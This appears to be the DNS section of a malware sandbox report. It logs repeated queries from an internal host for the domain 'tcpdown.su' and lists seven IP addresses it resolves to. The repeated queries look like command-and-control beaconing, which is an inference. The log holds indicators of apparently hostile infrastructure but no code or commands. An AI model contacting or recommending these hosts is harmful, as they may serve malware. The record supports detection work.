Jan 7, 2025 01:24:22.719501019 CET	192.168.2.13	1.1.1.1	0x5e2c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.727499008 CET	192.168.2.13	1.1.1.1	0x5e2c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.735286951 CET	192.168.2.13	1.1.1.1	0x5e2c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.743233919 CET	192.168.2.13	1.1.1.1	0x5e2c	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.654319048 CET	192.168.2.13	1.1.1.1	0x7daa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.662178993 CET	192.168.2.13	1.1.1.1	0x7daa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.670156002 CET	192.168.2.13	1.1.1.1	0x7daa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.678575039 CET	192.168.2.13	1.1.1.1	0x7daa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.687705994 CET	192.168.2.13	1.1.1.1	0x7daa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.595551968 CET	192.168.2.13	1.1.1.1	0x3cea	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.603482008 CET	192.168.2.13	1.1.1.1	0x3cea	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.612005949 CET	192.168.2.13	1.1.1.1	0x3cea	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.620512009 CET	192.168.2.13	1.1.1.1	0x3cea	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.629605055 CET	192.168.2.13	1.1.1.1	0x3cea	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.317090034 CET	192.168.2.13	1.1.1.1	0xdb0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.325298071 CET	192.168.2.13	1.1.1.1	0xdb0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.333617926 CET	192.168.2.13	1.1.1.1	0xdb0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.341801882 CET	192.168.2.13	1.1.1.1	0xdb0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.349807978 CET	192.168.2.13	1.1.1.1	0xdb0	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.948102951 CET	192.168.2.13	1.1.1.1	0x930a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.957911968 CET	192.168.2.13	1.1.1.1	0x930a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.965631008 CET	192.168.2.13	1.1.1.1	0x930a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.973447084 CET	192.168.2.13	1.1.1.1	0x930a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.988873959 CET	192.168.2.13	1.1.1.1	0x930a	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.535206079 CET	192.168.2.13	1.1.1.1	0x4f48	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.543396950 CET	192.168.2.13	1.1.1.1	0x4f48	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.551167011 CET	192.168.2.13	1.1.1.1	0x4f48	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.558854103 CET	192.168.2.13	1.1.1.1	0x4f48	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.567055941 CET	192.168.2.13	1.1.1.1	0x4f48	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.446702003 CET	192.168.2.13	1.1.1.1	0x962b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.454391003 CET	192.168.2.13	1.1.1.1	0x962b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.463001966 CET	192.168.2.13	1.1.1.1	0x962b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.478995085 CET	192.168.2.13	1.1.1.1	0x962b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.487134933 CET	192.168.2.13	1.1.1.1	0x962b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357954979 CET	192.168.2.13	1.1.1.1	0x1277	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.365978956 CET	192.168.2.13	1.1.1.1	0x1277	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.374325037 CET	192.168.2.13	1.1.1.1	0x1277	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.382867098 CET	192.168.2.13	1.1.1.1	0x1277	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.391794920 CET	192.168.2.13	1.1.1.1	0x1277	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.341125011 CET	192.168.2.13	1.1.1.1	0x5beb	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.348922968 CET	192.168.2.13	1.1.1.1	0x5beb	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.357110023 CET	192.168.2.13	1.1.1.1	0x5beb	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.364881039 CET	192.168.2.13	1.1.1.1	0x5beb	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.372845888 CET	192.168.2.13	1.1.1.1	0x5beb	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.254388094 CET	192.168.2.13	1.1.1.1	0x2afd	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.262371063 CET	192.168.2.13	1.1.1.1	0x2afd	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.270555973 CET	192.168.2.13	1.1.1.1	0x2afd	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.277919054 CET	192.168.2.13	1.1.1.1	0x2afd	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.285362959 CET	192.168.2.13	1.1.1.1	0x2afd	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.862466097 CET	192.168.2.13	1.1.1.1	0xdf71	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.871006966 CET	192.168.2.13	1.1.1.1	0xdf71	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.879144907 CET	192.168.2.13	1.1.1.1	0xdf71	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.887520075 CET	192.168.2.13	1.1.1.1	0xdf71	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.895560026 CET	192.168.2.13	1.1.1.1	0xdf71	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.488739967 CET	192.168.2.13	1.1.1.1	0x9632	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.497507095 CET	192.168.2.13	1.1.1.1	0x9632	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.506086111 CET	192.168.2.13	1.1.1.1	0x9632	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.515192986 CET	192.168.2.13	1.1.1.1	0x9632	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.523010969 CET	192.168.2.13	1.1.1.1	0x9632	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.382440090 CET	192.168.2.13	1.1.1.1	0x12b1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.390676975 CET	192.168.2.13	1.1.1.1	0x12b1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.398683071 CET	192.168.2.13	1.1.1.1	0x12b1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.406533003 CET	192.168.2.13	1.1.1.1	0x12b1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.414351940 CET	192.168.2.13	1.1.1.1	0x12b1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.975641966 CET	192.168.2.13	1.1.1.1	0x3901	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.983655930 CET	192.168.2.13	1.1.1.1	0x3901	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.991379023 CET	192.168.2.13	1.1.1.1	0x3901	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:49.006217003 CET	192.168.2.13	1.1.1.1	0x3901	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:49.014415979 CET	192.168.2.13	1.1.1.1	0x3901	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.886581898 CET	192.168.2.13	1.1.1.1	0x683f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.894505024 CET	192.168.2.13	1.1.1.1	0x683f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.902388096 CET	192.168.2.13	1.1.1.1	0x683f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.911166906 CET	192.168.2.13	1.1.1.1	0x683f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.919066906 CET	192.168.2.13	1.1.1.1	0x683f	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815917969 CET	192.168.2.13	1.1.1.1	0xb096	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.824593067 CET	192.168.2.13	1.1.1.1	0xb096	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.832237005 CET	192.168.2.13	1.1.1.1	0xb096	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.840280056 CET	192.168.2.13	1.1.1.1	0xb096	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.847809076 CET	192.168.2.13	1.1.1.1	0xb096	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.412749052 CET	192.168.2.13	1.1.1.1	0xfbc4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.422130108 CET	192.168.2.13	1.1.1.1	0xfbc4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.436925888 CET	192.168.2.13	1.1.1.1	0xfbc4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.445466042 CET	192.168.2.13	1.1.1.1	0xfbc4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:54.454185963 CET	192.168.2.13	1.1.1.1	0xfbc4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.159035921 CET	192.168.2.13	1.1.1.1	0x2541	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.167670965 CET	192.168.2.13	1.1.1.1	0x2541	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.175640106 CET	192.168.2.13	1.1.1.1	0x2541	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.183648109 CET	192.168.2.13	1.1.1.1	0x2541	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:56.191601038 CET	192.168.2.13	1.1.1.1	0x2541	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.075828075 CET	192.168.2.13	1.1.1.1	0x38f1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.084507942 CET	192.168.2.13	1.1.1.1	0x38f1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.093648911 CET	192.168.2.13	1.1.1.1	0x38f1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.102335930 CET	192.168.2.13	1.1.1.1	0x38f1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:58.110960007 CET	192.168.2.13	1.1.1.1	0x38f1	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.988347054 CET	192.168.2.13	1.1.1.1	0x7d39	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:59.996845007 CET	192.168.2.13	1.1.1.1	0x7d39	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.005331993 CET	192.168.2.13	1.1.1.1	0x7d39	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.013268948 CET	192.168.2.13	1.1.1.1	0x7d39	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:00.021292925 CET	192.168.2.13	1.1.1.1	0x7d39	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.916795015 CET	192.168.2.13	1.1.1.1	0x2afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.924880981 CET	192.168.2.13	1.1.1.1	0x2afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.933995008 CET	192.168.2.13	1.1.1.1	0x2afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.943232059 CET	192.168.2.13	1.1.1.1	0x2afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:01.952157974 CET	192.168.2.13	1.1.1.1	0x2afe	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.816334009 CET	192.168.2.13	1.1.1.1	0x1552	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.825462103 CET	192.168.2.13	1.1.1.1	0x1552	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.833318949 CET	192.168.2.13	1.1.1.1	0x1552	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.841386080 CET	192.168.2.13	1.1.1.1	0x1552	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:03.849656105 CET	192.168.2.13	1.1.1.1	0x1552	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.422853947 CET	192.168.2.13	1.1.1.1	0x91b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.430619955 CET	192.168.2.13	1.1.1.1	0x91b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.439218998 CET	192.168.2.13	1.1.1.1	0x91b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.446954012 CET	192.168.2.13	1.1.1.1	0x91b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:06.455010891 CET	192.168.2.13	1.1.1.1	0x91b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.334347010 CET	192.168.2.13	1.1.1.1	0x1f99	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.342052937 CET	192.168.2.13	1.1.1.1	0x1f99	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.349369049 CET	192.168.2.13	1.1.1.1	0x1f99	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.357156992 CET	192.168.2.13	1.1.1.1	0x1f99	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:08.365269899 CET	192.168.2.13	1.1.1.1	0x1f99	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.089031935 CET	192.168.2.13	1.1.1.1	0xf63b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.096848965 CET	192.168.2.13	1.1.1.1	0xf63b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.104525089 CET	192.168.2.13	1.1.1.1	0xf63b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.112543106 CET	192.168.2.13	1.1.1.1	0xf63b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:10.120497942 CET	192.168.2.13	1.1.1.1	0xf63b	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.011008024 CET	192.168.2.13	1.1.1.1	0x48b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.018997908 CET	192.168.2.13	1.1.1.1	0x48b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.027009964 CET	192.168.2.13	1.1.1.1	0x48b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.034866095 CET	192.168.2.13	1.1.1.1	0x48b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:25:12.043248892 CET	192.168.2.13	1.1.1.1	0x48b4	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.373274088 CET	1.1.1.1	192.168.2.13	0x9854	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.391876936 CET	1.1.1.1	192.168.2.13	0x634f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.413635015 CET	1.1.1.1	192.168.2.13	0x634f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.432199001 CET	1.1.1.1	192.168.2.13	0x634f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.457272053 CET	1.1.1.1	192.168.2.13	0x634f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:46.470504999 CET	1.1.1.1	192.168.2.13	0x634f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.599716902 CET	1.1.1.1	192.168.2.13	0x48cf	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.689709902 CET	1.1.1.1	192.168.2.13	0xc999	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.700082064 CET	1.1.1.1	192.168.2.13	0xc999	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.709197044 CET	1.1.1.1	192.168.2.13	0xc999	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.719995022 CET	1.1.1.1	192.168.2.13	0xc999	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:48.740366936 CET	1.1.1.1	192.168.2.13	0xc999	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.601294994 CET	1.1.1.1	192.168.2.13	0xd290	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.617541075 CET	1.1.1.1	192.168.2.13	0x8605	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.632966042 CET	1.1.1.1	192.168.2.13	0x8605	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.643381119 CET	1.1.1.1	192.168.2.13	0x8605	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.659105062 CET	1.1.1.1	192.168.2.13	0x8605	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:50.667980909 CET	1.1.1.1	192.168.2.13	0x8605	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.306816101 CET	1.1.1.1	192.168.2.13	0x662	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.326360941 CET	1.1.1.1	192.168.2.13	0xf48e	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.335777044 CET	1.1.1.1	192.168.2.13	0xf48e	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.345179081 CET	1.1.1.1	192.168.2.13	0xf48e	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.365571976 CET	1.1.1.1	192.168.2.13	0xf48e	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:53.375150919 CET	1.1.1.1	192.168.2.13	0xf48e	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.233756065 CET	1.1.1.1	192.168.2.13	0x161a	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.241446018 CET	1.1.1.1	192.168.2.13	0x6a53	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:23:55.252983093 CET	1.1.1.1	192.168.2.13	0x6a53	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
